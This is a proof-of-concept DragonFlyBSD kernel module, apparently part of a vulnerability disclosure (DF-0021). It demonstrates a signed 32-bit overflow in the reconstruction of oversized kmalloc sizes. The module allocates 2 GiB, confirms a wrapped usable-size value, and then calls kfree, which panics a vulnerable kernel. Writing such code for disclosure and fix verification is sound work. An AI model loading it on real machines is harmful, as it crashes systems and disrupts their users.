DF-0021 / kmalloc_shift.c
/* * DF-0021 PoC - signed-int overflow in oversized kmalloc size reconstruction. * * btokup() returns int* (pointing to vm_page->ku_pagecnt, an int). The * oversized-allocation size is reconstructed in three places as * *kup << PAGE_SHIFT // kern_slaballoc.c:1202, 1432, 1261 * Both operands are int, so the shift is computed as a 32-bit SIGNED int and * overflows for any oversized allocation whose pagecount *kup >= 2^19, i.e. * any kmalloc() >= 2 GiB. The wrapped value then drives krealloc's bcopy * length, _kfree's kmem_slab_free/vm_map_remove range, and * kmalloc_usable_size's return value -> OOB read / bad kmem removal range / * wrong usable-size accounting. * * This is a LATENT bug: no unprivileged kernel interface is known to issue a * >= 2 GiB kmalloc (most large-buffer paths use kmem_alloc/contigmalloc). On * x86_64 pc64 the per-type ks_limit (kmem_lim_size/10 MB) permits one such * allocation per type, so any future / unaudited caller that requests >= 2 GiB * via kmalloc activates it. This module demonstrates the corruption directly * (requires root to kldload, and a machine with >= ~2 GiB free KVA). * * Build (DragonFlyBSD): make # uses bsd.kmod.mk * Load (as root): kldload ./poc_shift.ko * * Expected (bug present): * Phase 1: kmalloc_usable_size returns 0xFFFFFFFF80000000 instead of * 0x80000000 (the line-1261 overflow). Printed for confirmation. * Phase 2: kfree() hits the line-1432 overflow; size wraps to * 0xFFFFFFFF80000000; kmem_slab_free -> vm_map_remove with a * bogus wrapped range -> kernel panic. * * On a FIXED kernel ((size_t)*kup << PAGE_SHIFT): usable_size returns * 0x80000000 correctly, kfree works, module loads and unloads cleanly. */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/malloc.h> #include <sys/systm.h> MALLOC_DEFINE(M_POC, "poc_shift", "DF-0021 PoC"); /* 2 GiB -- minimum oversized alloc that triggers the signed-shift overflow: * *kup = 0x80000, 0x80000 << 12 = 0x80000000 = INT_MIN (signed overflow). */ #define ALLOC_SIZE (2UL << 30) static int poc_modev(module_t m, int what, void *arg) { void *p; size_t usable; switch (what) { case MOD_LOAD: kprintf("poc: allocating %lu bytes (2 GiB, oversized)\n", (unsigned long)ALLOC_SIZE); p = kmalloc(ALLOC_SIZE, M_POC, M_WAITOK); if (p == NULL) { kprintf("poc: kmalloc failed (need KVA/RAM)\n"); break; } kprintf("poc: got 2 GiB @ %p\n", p); /* Phase 1: kmalloc_usable_size โ exercises line 1261 overflow. * On the buggy kernel this returns the sign-extended wrapped * value 0xFFFFFFFF80000000 instead of the true 0x80000000. */ usable = kmalloc_usable_size(p); kprintf("poc: kmalloc_usable_size = 0x%016lx (expect 0x%016lx if OK)\n", usable, (unsigned long)ALLOC_SIZE); if (usable != ALLOC_SIZE) kprintf("poc: BUG CONFIRMED (line 1261): usable_size overflowed!\n"); /* Phase 2: kfree โ exercises line 1432 overflow. * _kfree computes size = *kup << PAGE_SHIFT (wraps to * 0xFFFFFFFF80000000), then calls kmem_slab_free(ptr, size) * -> vm_map_remove(kernel_map, ptr, ptr+size) with a bogus * wrapped range. On a buggy kernel this panics; on a fixed * kernel it returns cleanly. */ kprintf("poc: now kfree โ on buggy kernel expect panic here\n"); kfree(p, M_POC); kprintf("poc: kfree returned OK (fixed kernel)\n"); break; case MOD_UNLOAD: break; default: break; } return 0; } static moduledata_t poc_mod = { "poc_shift", poc_modev, 0 }; DECLARE_MODULE(poc_shift, poc_mod, SI_SUB_CONFIGURE, SI_ORDER_MIDDLE); MODULE_VERSION(poc_shift, 1); |